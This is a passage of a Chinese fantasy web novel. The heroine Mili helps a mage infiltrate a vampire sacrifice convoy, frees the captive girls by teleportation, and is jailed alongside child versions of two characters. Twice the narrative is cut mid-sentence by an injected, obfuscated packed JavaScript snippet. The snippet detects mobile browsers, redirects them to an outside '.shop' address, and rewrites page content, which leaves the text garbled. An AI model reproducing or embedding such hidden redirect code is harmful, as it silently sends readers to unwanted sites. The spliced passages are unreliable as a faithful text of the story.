咪莉睁大了眼睛看向那支大概有十个人左右的队伍,他们每个人都骑着一匹马,护送着一辆黑色大马车。 在中间的那个男人有一头利落的黑色卷发,穿着一身宽大的魔法袍,五官硬朗严肃,年龄大概三十出头,是个中级魔法师,从健壮结实的身形和他身后背的一柄巨刀来看,也是个相当厉害的斗士,这在大陆上绝对是个名望颇高的优秀人才,在事业上会被各个王族看中招揽,在爱情上也不会缺乏女性追求。 而马车里的人应该就是这次被选中献祭的少女。 咪莉忽然觉得有些可悲,年龄才和她差不多大的女孩子就这么要把性命交到别人手里,是生是死都无法预料,希望可以借着这次机会顺利让这个女孩逃走吧。 等到队伍越来越近时,苏法尔轻声念了几句咒语,配合着手指间不知何时夹着的一支药剂朝他们掷去,马车附近立刻爆出一片黑色的滚滚浓雾,并且迅速弥漫扩散。 “咳咳咳!” “怎么回事?!发生什么事了?” “有人抢劫吗!” 队伍里的人群乱作一团,闹哄哄的,倒是那个魔法师镇定不慌,头脑清晰地让大家不要自乱阵脚,然后诵念咒语双手放出一阵无形的风吹散周身的呛人浓雾。 狂风与烟雾互相纠缠不清,枝叶乱舞,虫鸟避散,只是药剂性能极强,吹散一波又卷来一波,眯得人眼睁不开。 咪莉还没来得及问苏法尔他扔的什么药剂,两人身形一晃便来到了马车附近。 咪莉和那群人一样看不清苏法尔的动作,她待在苏法尔怀里,只能感觉到苏法尔的移动速度之快,冷风擦着她的脸颊掠过,她抱紧着苏法尔的脖子,屏着呼吸尽量不吸入那些烟雾,虽然没有毒,但吸入肺部也是非常不舒服的。 苏法尔混入慌乱的人群中,根据那个魔法师的风系气息精准锁定到目标,闪到仍然在奋力施法驱散浓雾的魔法师身后,一个手刀下去,这名魔法师瞬间昏厥。 苏法尔把咪莉放到马车板上,马车里的人也因为突发事件打开了车门。 “啊!你们是谁?”马车里的人是一名双眸明艳动人的绝色大美人,她的脸上戴着红色的透明薄纱,一头长长的棕色波浪卷披满整个纤瘦的后背,有几绺绕过她修长白嫩的天鹅颈落到傲满的胸前,此时正一脸惊慌失措又十分诧异地看着咪莉,“你怎么穿得和我一样?” 不等咪莉开口,苏法尔便已经将一个透明的药剂瓶投向这位大美人,绚烂的粉色烟雾就像焰火一样在她面前炸开。 咪莉生怕被殃及,连忙用胳膊捂住口鼻时,同时也被苏法尔手快地扯到他怀里。 那名大美人吸入迷烟后,两眼一闭昏过去了。 “上车。”苏法尔驱散剩余的迷烟,把咪莉重新送上车去,然后又把地上那个被打晕的魔法师扛起来一起扔进马车。 咪莉扯下大美人脸上的红纱戴到自己脸上时,苏法尔已经喝下一小管易容药剂变成了那个被打晕的魔法师,穿上魔法师的外袍后把两个晕倒的一男一女抬到马车最里面。 “等会儿找个地方丢下他们。”苏法尔悄声说着,抬手凝聚起一团蓝色的水流般魔法抛向还处于人荒马乱中的黑色浓雾。 茫茫迷雾被水流冲刷散去,惶惶人群终于稳定了下来,纷纷询问他们这里唯一的魔法师队长兰伊发生了什么事。 苏法尔一本正经地假扮着那个魔法师说只是遇到了大雾天,让队伍继续前行。 虽然对苏法尔的说辞有所怀疑,但大家都不愿在这邪魅诡异的地方多待,便加快脚步离开了这片阴雨密布的树林。 苏法尔的行动太过紧密相连,一点计划也不知道的咪莉看着坐在自己身边已经变成另外一个人的苏法尔,然后好奇地戳戳这张陌生的成熟男人脸庞:“你从哪儿弄来的易容药剂?” 这双还留有苏法尔几分气质的黑眸轻柔地看向对自己一脸探究的咪莉:“白天不在旅馆时,我出去找炼金师买的。” 他的下巴上有一些青色的胡茬痕迹,也被咪莉细细地抚摸着,他有些无奈地仰起下巴,任由咪莉像研究什么似的对待他,声音也与魔法师本人的凛冽气质大不相同,听起来温和许多:“很好玩吗?” 咪莉收回触感刺刺的手指头,嘟了嘟唇:“我不用易容吗?” “这些护卫都是临时雇佣的,认识这名少女的只有这个魔法师,现在我顶替了他,自然不会有人知道你是假冒的。” 咪莉眼里有些惊奇地眨眨眼:“你怎么知道这么多?” 苏法尔不答反问,莞尔道:“你以为我那两天白日里出去是玩儿吗?当然是探查情报。” 即使换了一张完全不同的脸,他眼里的光芒依旧是属于苏法尔的独有温和。 咪莉愣愣地望着他的黑眸,心里直怪道为什么会对一双陌生的眼睛感到熟悉,难道和苏法尔待久了,对他的一切也会变得熟悉起来吗? “我脸上有什么东西吗?”苏法尔眼里有些疑惑地问道。 咪莉抿着唇摇摇头,把脑子里繁乱的心绪收起,看向在地上躺得优雅的大美人,她的身姿玲珑紧致,五官柔媚可人,是个少有的美人,被带去献祭实在可惜。 咪莉在心里再一次地对血族这个神秘种族感到恐惧。 而她喜欢了三年的奥倾,也是血族。 她又看看那名晕倒的魔法师,语气忽然带着些怨气:“你的手刀用得可真利落,一定是因为熟能生巧吧。” 咪莉仍记恨着苏法尔前两天打晕她并且切割她神力的事,而直到现在苏法尔都没和她说一句抱歉的话。 想到这儿她就觉得有些可笑,她在奢望什么,一个把她当犯人一样看管的暴徒会有愧疚的心理吗? 苏法尔没有出声,只是觉得咪莉的心情陡然降了下来,无声的车厢中只有马蹄哒哒和车轮碾过不怎么平整的泥土湿路的枯燥声音。 她又怎么了呢?刚刚还好好的,为什么神情突然就变得落寞起来了? 苏法尔有些拿不准咪莉此刻心里在想什么,他琢磨了一会儿,准备开口说点什么,咪莉也抬起头掀开窗帘看向外面,她朦胧的黑眸似乎笼罩着一层烟雨,和外面的天气一样雾蒙蒙。 马车走到一处郊外城镇时,他们停下来歇脚了片刻,顺便重新雇佣了工人绕开众人视线把那两个昏迷的人远远带离他们要去的方向。 只一顿饭的功夫,他们便又上路了,直到天黑,经过一片遮天蔽日的森林,终于来到了人界与血族的交界地,即将要踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223042|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入血族地盘,一座常年飘着大雾死气沉沉的城市——不夜城。 踏过清晰交界,后面进城的过程很顺利,出示供牌即可带着队伍进城。 咪莉很想看看这座传说中的血族之地是什么样子的,但为了保持自己作为一个祭品的觉悟,她还是听苏法尔的话老老实实待在马车里当一个柔弱无助的少女。 苏法尔已经出了马车骑在一匹黑马上,他目不斜视地走在队伍前头,跟身边那些胆小恐惧东张西望的护卫完全不同,他就像回到自己家一样悠然轻松。 他眼前这座城市没有阳光,比莫加侬墨本大陆更阴森,浓浓大雾飘在看不透的天际,几乎压着一座座高大石楼。 这里的街道宽敞又干净,城门口没有什么人烟痕迹,进入城内深处后,路上便时不时有一些豪华马车经过,这些马车外表精美绝伦,车厢雕刻着独特的家族族徽,帘蔓也是采用华丽的丝绸悬挂。 咪莉还是耐不住好奇心偷偷从车窗往外看,正在感叹这里除了鬼气森森外,和人界的习性似乎也没什么不同,大家族乘马车,平民走路,路两边是一些稀奇古怪的商店与豪宅。 由于是人类献祭队伍,他们受到了不少血族的注目礼,这些血族面孔英俊,身材比例高挑修长,几乎没一个丑陋的,唯有那张脸像一张白纸全无血色,而唇色却仿佛刚饮过人血一般浓艳。 正当她努力睁大眼睛眺望着远处那座冒着尖尖的高塔时,被苏法尔抓包。 她吐了吐舌头,乖乖回去坐好,不过没几秒,苏法尔就掀开车帘进来了,和她交代了一些事。 “等会儿见了负责人,你不用出声,一切由我来,然后他们会把你和其他人类女孩安排到一起,这里你见机行事就行。”苏法尔伸手抚了抚咪莉耳边被面纱钩子弄乱的一些发丝,长长的手指顺着她的发丝落到她胸前的发梢,“我们大概有半个小时左右不能见面,这期间你只要乖乖待在安排的地方就好,知道吗?” 咪莉看着他语速不紧不慢地交代着这些,心里没由来地有些慌乱,抓到他落在自己发梢的那几根手指攥在手心里,微微歪着脸问:“你到底想要做什么?” 苏法尔望着她,平静的眼神之下,似乎蕴含着各种说不清道不明的情绪,他微微笑起道:“等我们再次见了面就告诉你。” 他看着那双一眨不眨的水亮黑眸,那里仿佛盛载着万千星辰般美丽,他有一种想要靠过去吻一吻她额头的悸动,但最后只是摸了摸她脑袋,离开了车厢,重新回到马背上。 咪莉发着呆,发觉苏法尔对这些流程好像很熟悉,难道他以前经历过这种场合? 大概过了十多分钟,他们来到一座府邸面前,咪莉下了马车后朝苏法尔望了一眼,他淡淡地微笑,然后走到她身边说:“走吧。” 这座府邸很是气派雄伟,青板石的路铺满整座宅子,宏高的楼房基本都是由石块建筑,内部风格也是清一色的暖黄色石材,骷髅样式的晶状魔法灯照亮着空旷的会客厅。 来接见的是名戴着黑色圆帽的中年管家,他面无表情地按照流程询问献祭地区,祭品姓名,然后挥手示意带咪莉去往集合处等待下一步的安排。 咪莉离开时看了眼苏法尔,苏法尔朝她顽皮地眨眨眼,好像在说“放心去不会有事的”。 你是半神魔法师当然不怕,她只是个小小的初级魔法师啊。 咪莉欲哭无泪,摸了摸手腕上佩戴的玉镯,决定下次再也不会钻苏法尔的圈套了。 还有她有机会在这里见到奥倾吗? 37.偷偷放走被献祭的人类女孩们 咪莉随着一位年轻的管理人员来到另一处宽宏如宫殿的庭院,一进门就看见几十名女孩或坐或站地在这间富丽堂皇的大殿之中,华丽昂贵的落地灯盏柔光映衬在这群年轻貌美的女孩衣裙上。 她们都戴着一层轻薄面纱,每一个女孩都如熠熠生辉的钻石般晶莹剔透,散发着各自不同的光芒。 几个女孩朝进门的咪莉看了一眼,又随后转头继续交谈,从表情来看,她们似乎并不怎么害怕,反而透着隐隐的兴奋和期待,不过大多数女孩是正常的害怕反应。 咪莉觉得有些奇怪,低头应了几声管理人员的轻声交待,然后提着裙摆慢慢走进去,找了个放着一盆竹兰的角落站着,几个娇俏活泼的谈话声传入她的耳内。 “听说拉尔安德公爵大人相貌英俊,性格温柔,迷倒了不少女人呢。” “温柔真的好没激情呢,我看不如希洛博伊大人好,冷酷男人最有魅力。” “哈哈哈,不过你们听说过埃比茨大人吗?据说他性情变幻莫测,饮血时经常咬断人类脖子呢,特别的残忍,希望不会被他府中的人挑中,否则可真是倒大霉了。” “哎?我也听说过,你是不是在《血族魔王传记》这本小说上看的?这里头还写他生吃人肉,真的太吓人了。” “唉,你们说的这些我一个也不想要,我想要奥倾。” 此刻垂着脑袋揪着细长青叶在手指间拨弄的咪莉,正觉得这些女孩子好像不是来当祭品,更像是来挑心仪丈夫的时候,听到了奥倾的名字,她手上动作一顿,稍稍侧了下耳朵,想听得仔细点。 一些害怕献祭的女孩也因为她们的话感到些安慰和放松,幻想自己被分配的对象是个温柔好脾气的吸血鬼,这样下场或许会好些。 “他应该是不太可能的啦,他不仅不参与挑选人类祭祀的活动,也是极力反对这种挑起人类对血族怨恨的政策,不过因为他刚当上新王,还没什么话语权,暂时没办法取消一年一祭的活动。” “雅妮,你怎么知道得这么清楚?也是从小说上看的吗?” “我叫蒂金,不是雅妮,你记错了,她才是雅妮。”蒂金笑着纠正女孩的错误,指指身边的另一名浅金色卷发女孩,然后压低了些声音说,“这不是小说上看的,而是一个来过这里的人告诉我的。” “你们想得可真多。”一道讽刺的女声插了进来。 众人循着声音看过去,是一名身穿海蓝色长裙的女孩,她带着层白纱,柔软的灿金色卷发衬得她的脸更为娇小。 她徐徐道:“公爵以上的贵族是很挑剔的,他们几年来都可能只挑一个人类作为血液供养者,我们被分配的对象大多只会是男爵这类比较平庸的对象,运气好可能碰上个伯爵大人,运气不好的会被集中起来做一群平民的血包。” 这话一出,立刻吸引了殿内所有的女孩儿。 咪莉也微微诧异地看向这名语气冷淡的女子,从气息上来看还是个初级魔法师,至于派系则不清楚。 她透明的白纱底下隐隐可见嫣红的美唇,眉目流转间尽是高傲妩媚,还透着淡淡的自嘲,或许是在可悲自己的大好青春即将葬送在这暗无天日的血族之地。 她白纱下的唇角略微扬起,继续说道:“和一群不死不活的吸血怪物生存在一起,最终自己也会因失血过多而变成一具皮包骨的冰冷干尸,你们真的这么乐意?仅仅只是因为这群怪物的脸好看?清醒一点,我们在他们眼里只是会呼吸的食物,没有人权与自由。” 她的一番话说完后,殿内鸦雀无声,几名女孩脸上明显露出了恐慌的迷惘神色,紧紧抓着自己刚认识的同伴,她们都来自不同的地区,只在顷刻间就能因为相同处境而成为朋友,即使还记不清对方的名字。 咪莉愣怔地一直盯着那名浑身散发出冰冷哀默气息的金发女子,觉得她垂下的眼眸好悲伤,好难过。 一个人被送到这种死亡之地,孤立无援,这种时刻应该是绝望无力的。 咪莉环视了一圈这群已经陷入恐惧之中的人,包括一开始侃侃而谈期待这里生活的那几个女孩,她在心里毅然做了一个决定。 那就是她要救出这群无辜的人类。 因为她们是毫无反击的人类,上头并没有派人监守她们。 咪莉看着殿外庭中唯一一个正在修剪园林的男性血族,稍微思考了一下,然后从身上的一个内置小口袋里摸出她藏起来的透明玻璃瓶,里面装的是当初纳罗用剩下的传送材料。 她跑进殿内的一个角落蹲下,按照记忆中的魔法图案快速绘画了一个非常不标准就像鬼画符的大型魔法阵,然后在脑海里搜索了一遍,写下曼努森这个地点。 曼努森是个包容性非常大的多元化城市,希望这些女孩在那里找到未来的去处,不管是回家还是逃往其他地方。 咪莉站起来看着这个仅用了她五分钟绘制成的不知名魔法阵,有些地方因为血液不够而断了线条,不禁汗颜地在心里希望可以起作用。 “你这是画的什么?”那名金发女子从刚才看见咪莉一直蹲在地上拖着裙摆来来回回用类似血和燃灰混在一起的液体绘画时就走了过来观察,等咪莉把瓶子塞进裙子里的口袋后她才淡漠地开口问道。 “这是个魔法阵。”咪莉回答道,然后似乎从女子脸上看出一丝无语的神色。 好吧,画得确实一点也不像。 咪莉目测了下魔法阵的范围,应该能容纳下大约四十来名女孩,她朝那群已经忧心忡忡的女孩子们招招手说:“我有办法让你们离开这个鬼地方,想留下的可以继续留下,想走的就过来,我会用这个魔法阵把你们送到安全的地方。” 几个一开始就不想被献祭的人立刻就提着裙摆跑了过来,她们神色犹疑地看着地上这个奇怪阵法,显然对这个娇小的女孩子并不怎么信任。 “那你呢?不走吗?”金发女子讶异地问咪莉。 咪莉弯起眼笑了笑:“我留在这里有事要做,我有人保护,不会出事的。” 苏法尔需要她,所以她出事的话苏法尔肯定出手相救,算得上是有人保护。 “怎么把我们送出去呀?” “我们真的能离开吗?这是个什么东西?” 咪莉让这群叽叽喳喳的女孩走进圈里,又看了看仍然在犹豫走不走的几个,好心提醒道:“时间不多了哦,很快就会有人来的。” 然后那几个犹豫的立刻咬着牙也跟了进来,咪莉喊住准备进圈的金发女子说:“金发姐姐,我需要你帮忙。” “我?”她回过身,纤细身姿妖娆绝美。 咪莉点点头,踮起脚在她耳边轻声念了几句,然后说:“这是传送阵的咒语,你是她们之中唯一的魔法师,只能由你来完成。” 咪莉舔了舔有些干渴的唇继续道:“金发姐姐你放心,这些材料都是非常高级珍贵的,即使是初级魔法师也有能力驾驭,只不过用完后魔力会耗尽,身体会虚弱上一段时间,你进去后催动魔力默念一遍咒语,这个魔法阵就会把你们带到我写的地点。” 金发女子静静地听完后,摘下面纱,露出一张美得万物失色的明艳脸庞,眼里也不再是疏离淡漠,一层暖意覆在她棕色的玻璃眼瞳上:“我叫诺拉,你呢?” 咪莉朝她眯起眼睛笑:“我叫咪莉。” 诺拉还想说些什么,但她知道时间不多了,便走去魔法阵中,感激地对咪莉道了谢,然后轻声诵念着咒语,在一圈淡淡的白光围绕在脚边的阵法线条中时,看见了院子里那名血族走进大厅。 众人眼前一片白光闪过,转眼间就已经到了一个陌生的地方。 而大殿内只留下了咪莉一个人,这名觉得不安的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233533|145966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血族进来就看见一个地板上升腾起道道白光的魔法阵带走了殿内所有的少女,仅剩的一名黑发少女冲他弯了弯眼睫,心虚地抓抓脑袋说:“她们突然就消失了,我也不知道怎么一回事……” 这个血族的大脑一瞬火花刺啦,立刻跑到院子里喊人:“祭品们不见了!全都消失了!在一个白圈里全没了!被一个人类少女用魔法阵救走了!” 咪莉揉揉疲累的眉心,再次感慨她的演技真的很差吗?苏法尔能看穿她,这个血族也能看穿她。 她目视一圈大殿后,准备选择从其中一扇比她高一个身子的拱形大窗逃走,结果扒着凸出来的窗框还没起跳就被人抓了起来。 她被一个赶来的高阶血族定住了双脚,低头一看是血雾幻化成的荆棘利刺,她抬抬脚便立刻有刺痛感传来,然后是细细的血珠顺着荆棘刺入肌肤的伤口渗出。 即使是幻化出的武器也会让人受到实质伤害,高阶血族天生自带黑暗魔法,咪莉不敢再乱动了,废了脚就麻烦了。 于是她被押着进入了阴湿的地牢,被关进了一个多人间。 是的,没错,是个多人间,和她被关在一起的还有两个毛头小子,一个是大概七八岁左右的黑发小男孩,另一个是大概五六左右的红毛小男孩。 那个满头红毛的小男孩有着一双蓝到几近透明的眼眸,就像两颗漂亮的琉璃珠子,他像只小狗撒欢般甩着两条小短腿奔过来扑到咪莉腿上:“漂亮姐姐,你为什么被坏人抓了呀!哎呀姐姐的脚在流血!是哪个坏人伤害了你?” 咪莉面目表情地指了指刚关上牢门冷冷瞥他们一眼然后离开的某只高阶血族:“是他。” 小红毛立马鼓起嫩生生的脸,小手一挥,一团比他发色还浓的红光甩了出去,义愤填膺地吼道:“男人欺负女人,就是天底下最不要脸的人!” 咪莉一脸震撼地看着这名小小身体大大能量的小孩子,他不仅会魔法,还非常的有正义感,长大以后一定很受女孩子欢迎。 她又转头看向另一个一直沉默不语但盯着她看的黑发小男孩,她总觉得这个小男孩特别熟悉,尤其那张漂亮精致的小脸瓜子,就像和她见过的一个人长得一模一样,但是她想不起来这个人是谁了。 咪莉问那个还在扒着牢门大吼大叫呜呜啦啦的闹腾小红毛:“你们怎么被抓的?” 还没她腿高的两只孩子,也不是血族,无论怎么想都猜不到是如何关到这里来的。 那个小红毛听见咪莉问他话,立马哒哒哒跑过来抱着咪莉的双腿,扬起一张水灵灵的脸:“我是跟我堂哥出来玩儿的,结果就被抓到这里来了,抓我们的那个长头发血族还说要拿我们跟我爸爸换宝物,我才不会让那个长头发血族得逞呢!” “你堂哥是?”小红毛话里的人物太多,咪莉只能先挑一个慢慢问。 小红毛看向靠在角落里坐得随意的男孩说:“就是他,他就是我堂哥。” 咪莉才刚和那个散发着冷漠气息的黑发男孩交汇上眼神,就又被小红毛扯扯手嚷嚷:“姐姐姐姐,你怎么不问我叫什么名字啊,你快问我叫什么。” 咪莉四处看了看,找了个还算干燥的草堆坐了下来,摸了摸手腕上戴的救急玉镯,叹息着问他:“好好好,你叫什么?” 小红毛欢快地露出一口长得很整齐的小白牙,笑得比棉花糖还甜:“我叫钴赫!姐姐你叫什么?” 钴赫?好像在哪里听过似的。 咪莉想了想,没想起来,就放到一边,揉揉这个趴在自己膝盖上的红脑袋,他的头发软软的:“姐姐叫咪莉。” “哈哈!”钴赫咧着嘴笑了笑,然后两只小手抓起咪莉比他大一圈的手说,“我们交换过名字了!以后姐姐就是我媳妇儿了!” 咪莉:“?” 这是什么闻所未闻如此轻率的规矩? 38.等我成年了就要把姐姐娶回家 六岁孩子说的话当然是童言无忌,咪莉根本不会把小钴赫的话放在心上,抓抓他乱蓬蓬的红发说:“钴赫,你这么小懂结婚吗?” “当然懂啦,结婚就是我和媳妇儿每天开开心心地生活在一起,然后生好多好多孩子!” 小钴赫的嗓音总是脆亮,他跪在地上抱着咪莉的腰,被咪莉胸前的大片羽毛戳到鼻孔,痒得他连打好几个喷嚏。 咪莉被小钴赫的一番话弄得哭笑不得,只是笑的时候隐隐觉得肚子有些不舒服,但太过细微,她没有在意,弹了弹小钴赫的小鼻子:“你太小了,姐姐比你大好多呢。”说着她又看了看那个大男孩,总觉得哪里怪怪的。 大男孩见咪莉看向他,黑沉沉的眼眸顿时有些怯怯地颤动,好像闪动着细碎光芒,他的头发有些微长,额发散在光洁的额头,穿着一身简陋的长袖白衬衫黑长裤,就像个漂亮的小姑娘靠在角落安安静静,对比钴赫的聒噪简直就是个惹人怜爱的乖乖仔。 “我可以长大的!等我成年了就把姐姐娶回家!姐姐一定要等我!”钴赫说完就搂着咪莉的脖子靠过去,小脸贴在她的锁骨上,“姐姐好香呢。” 咪莉对小孩子说不上喜欢不喜欢,单纯觉得这小孩儿长得挺可爱的,就是太黏人了,她把小钴赫拉下来,问着那个明显也想搭话但是又不敢的大男孩:“你呢?你叫什么?” 还不等大男孩开口,钴赫就热心肠地抢答,生怕谁抢走他未来媳妇儿的注意力:“我堂哥叫苏法尔,是个很厉害的人哦!他可以一口气瞬移一公里呢!他还会驭龙,打猎,捕鱼,烤野猪,烤野兔,用榕树叶吹音乐……” 后面钴赫的叽叽喳喳咪莉已经没听进去了,她不可置信地瞪大着眼睛,起来的时候甚至没顾得上小钴赫还趴在她腿上。 “哎呀,姐姐你怎么了?我还没说完呢。” 咪莉径直走到大男孩面前蹲下来,而大男孩显然也被咪莉的举动惊到,身子有些微微后仰地看着咪莉,一双形状圆润漂亮的眼睛睁得大大的。 “你是……苏法尔?”她终于想起这个大男孩和谁长得像了,这精致的五官不正是苏法尔的童年版吗? 可是,两版气质可谓是天差地别,这个小苏法尔简直乖巧得不得了,哪有大恶霸的顽劣啊。 咪莉伸手拨开小苏法尔的额发,像是要确认似的,抚摸着他白皙柔嫩的脸庞。 小苏法尔虽然有些不明所以,但并没有躲,乖乖地被咪莉捧着脸摸,他并不讨厌眼前这个女孩子的触碰,她的手指头软软的,滑滑的,还带着温热的香气。 咪莉摸完后便扶着肚子坐到一旁噗嗤笑起,她没想到竟然会在这里碰上一百多年前的苏法尔,这简直是太不可思议了,不知道现在的苏法尔本人见到他的童年版会是什么反应。 “你笑什么?”小苏法尔终于说出了从咪莉来以后的第一句话,声音是小少年独有的稚嫩。 咪莉歪着头看他,眨眨眼:“真的很神奇呢。” “姐姐姐姐你不要看我堂哥,你只能看我!”小钴赫又扑腾到咪莉后背上勒着咪莉脖子,小小年纪就开始占有欲发作。 咪莉并没有搭理小钴赫,而是跟小苏法尔攀谈:“苏法尔,你们到底为什么会被抓来这里?” 小苏法尔脸上是童真又纯净的微笑:“我想来这里取一样东西。” “咦?”苏法尔要来这里取东西,八岁的苏法尔也要来这里取东西,那到底是个什么样的东西? 而且苏法尔是知道自己的经历的,他肯定知道自己的童年版被困在牢里,他不来救自己的童年版吗?不过转念一想,既然苏法尔长大了,说明这个时候是成功解决危险离开了,那苏法尔救与不救都没关系,说不定救了后还会影响小苏法尔在这个时空的命运呢。 咪莉陷入了自己的思考当中,小苏法尔也没有打扰她,只有小钴赫一直围着她转悠像只小蜜蜂一样嗡嗡嗡,然后跟小苏法尔说:“堂哥,你不可以抢我的媳妇儿哦。” 咪莉这才回神,看着小钴赫说:“我记起来了,你是魔王的儿子。”当时在曼努森撞翻他一杯天价饮料的那个红毛少年。 但是年龄有些对不上,这里是一百多年前,当时见到的少年钴赫怎么说也才十五岁左右。 “哇姐姐你怎么知道我是魔王的儿子?” “嗯……就是知道。”咪莉不打算多说,以免扰乱他们这个时空的正常运转,却被小苏法尔探究她的眼神看得心虚。 即使小苏法尔只是个半大不大的孩子,脑子也依旧聪慧,他的眼神明显透露出她隐瞒了什么的了然。 咪莉有些恼怒,怎么自己都还瞒不过一个八岁孩子!她真的是太失败了! 兴许是咪莉长相软萌可爱,说话态度也平易近人,小苏法尔已经放开了许多,跟咪莉时不时地聊着天。 咪莉说自己是被送来当祭品的人类,她因为放走了所有女孩而被抓了起来,小苏法尔和小钴赫都一脸惊诧地看着她,眼里满是敬佩,夸咪莉有勇气,但又立马担忧起来,这样做的后果肯定要被严厉处罚,血族又都是不近人情的冷血怪物,不知道会怎样对待她。 咪莉也挺害怕的,苏法尔到现在都还没来找她,这里施展空间又不大,用玉镯效果不太好,而且要逃出去首先得拿到牢笼钥匙。 小钴赫趴在咪莉膝盖上像没骨头似的,眨巴着蓝色眼睛安慰着满脸郁闷的咪莉:“姐姐别怕,我爸爸不会不管我的,他肯定会来救我,到时候我要把姐姐带到魔族跟我生活。” 咪莉干笑了两声,拒绝道:“钴赫,我不能和你结婚。” “啊啊啊不行不行!我就要和姐姐结婚生孩子!”小钴赫又开始哇哇大哭起来,不过挤不出什么眼泪。 咪莉被吵得头疼,小苏法尔安慰小钴赫时,牢笼不远处传来了一道怒气冲冲的男声。 “我到要看看什么样的人类女子敢放走我四十八名祭品。” 说话的声音伴随着厉步而来的皮靴落地脚步声,只是用听就已经感觉到这人的来势汹汹,咪莉不由得吞了一口唾沫,在心里祈祷苏法尔赶快出现,否则她就要惨死天牢了。 一个身穿墨黑制服披着黑天鹅绒曳地披风的长发男子从走廊那边出现,走到了咪莉这间牢笼面前止步,暗红的双瞳满是戾气地盯着咪莉。 咪莉恐惧中又顿感无语,因为来人是那个非礼过她的黑长直血族——埃比茨。 “就是她?”埃比茨语气充满轻讽。 “是的,大人,就是她。”管事微微弯腰站着,翻开手里的一本记载簿,“来自布山村,十七岁,名字是菲娜。” 埃比茨眯起细长的眼用一种极具阴寒的眼神打量着咪莉,嘴角扯出一抹冷笑:“知道放走那些人你会是什么后果吗?” 咪莉还没来得及说话,小钴赫便已经挺身而出,小小身板挡在咪莉身前:“喂,老怪物,你想要我爸爸的宝物,就不许你伤害我媳妇儿!” “你媳妇儿?”被称为老怪物的埃比茨也不恼,像听到什么笑话一样毫不掩饰自己眼中的嘲讽,他对咪莉道,“既然你把那些女人放走了,那只能用你补上这所有的空缺了。 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咪莉愣愣地看着他,才明白自己的举动有多不计后果,救了一个两个人,却要连累无数个无辜的人。 她紧抿着唇垂下眼,内心止不住的恐惧,但她更多的是气愤,怒火在胸腔中游走,使她忍不住握拳,鼓起勇气瞪向埃比茨:“事是我一个人做的,有什么代价冲我来。” 埃比茨的眼里闪过一丝愕然,随即冷嗤一声:“这可是你说的,别后悔。” “老怪物你要对我媳妇儿做什么!”被推到地上已经爬起来的小钴赫握紧双拳,浅蓝的眼眸也因为生气变得更加深。 小苏法尔皱眉道:“这太不合理了。”他很惧怕埃比茨,虽然自己会魔法,但面对的人是活了几万年的高等血族,他没有胜算。 埃比茨看着这个敢质疑他的大男孩挑眉道:“哪里不合理?” 咪莉也疑惑地看向小苏法尔,她能感受到握紧自己的那只小手在紧张,但他的语气却十分从容:“一个女孩的血液根本无法供给这么多人食用,你这么要求就是在故意让她死,可死是解决不了问题的,既然错误已经铸成,应该先想办法补救。” 埃比茨舔舔殷红的唇,眼里流露出玩味的笑意:“你倒是说说该怎么补救,把那些逃跑到不知何处的人类抓回来,还是重新挑选一波?” 小苏法尔摇摇头:“都不是,血族的献祭活动只能解决一时之需,并不能从根本上解决问题,还会激化人类与血族之间的矛盾,各地骑士团组织已经越发成熟,他们为了保护人类已经杀死数不清的血族,血族的生存只会越来越艰难。” 小苏法尔的话说到了埃比茨一直以来的心患,他对小苏法尔有些刮目相看,他想不到年仅八岁的孩子会懂这些利益关系。 不止埃比茨,咪莉也像看大神一样崇敬地望着小苏法尔还略显稚嫩的小脸包,小钴赫则是不断地眨眼,表示听不懂,但在听。 小苏法尔继续道:“血族喜好人血是因为见不得光,需要饮用人血刺激体内死寂的神经组织,让身体机能保持灵活,能力不退化。” 埃比茨的神情倏然变得严肃起来,显然对一个外族男孩知道这么多血族秘密而感到惊讶。 “只要你们找到了可以在阳光下生存的方法,那么血族将不用嗜饮人血,这才是解决根源的唯一方法。” 小苏法尔说完后,咪莉心里也似乎将什么串联了起来,原来奥倾寻觅阳光下生存的路途是由小时候的苏法尔提醒的? 她的肚子好像又开始隐隐作痛。 39.委屈巴巴的小苏法尔 该死的苏法尔啊,原来她后来所遭受的欺骗和利用都是因为你这一百多年的一句话。 咪莉看小苏法尔的目光瞬间不再友善了,甩开他的小手,一脸闷气。 小苏法尔愣怔地抬起头看咪莉,然后把自己被松开的有些不知所措的小手垂在腿边,神情落寞地抿了抿有些干涩的唇。 埃比茨冷呵一声:“你以为这种法子很好找吗?” 血族在阴暗中不知经过了多少沧海桑田的日子,除了历届君王有祖先的眷顾,可以出入人界沐浴在阳光中,其他血族进入人界都需要捂得严严实实一寸皮肤都不能暴露,否则就会被灼伤,严重的要花一个月左右才能恢复如初,这对过分爱美在乎形象的血族来说绝对是种不小的打击。 小苏法尔从刚才的失落感中抽离回神,淡定道:“有的,传说世间会有一种少女的血液可以令血族不再惧怕阳光,只要找到这名少女……” 接下来是被咪莉捂住嘴巴强行住口的小苏法尔一脸无辜地看着她。 咪莉特别凶巴巴地瞪着他这双清澈纯真的黑眼睛:“喂,小孩子知道什么?别瞎说了。” 咪莉恨不得拔了小苏法尔的舌头,把他拉到身后冲一脸皱眉的埃比茨不善道:“又不是完全不能出入人界,去的时候包成粽子不就行了?做那么多讲究干什么。” “姐姐,粽子是什么呀?”小钴赫眨着好奇的眼睛问她。 “粽子就是某个国……”她说到这里,感觉到身下有一股热流涌出,脸色微变,双腿不自然地合并起来。 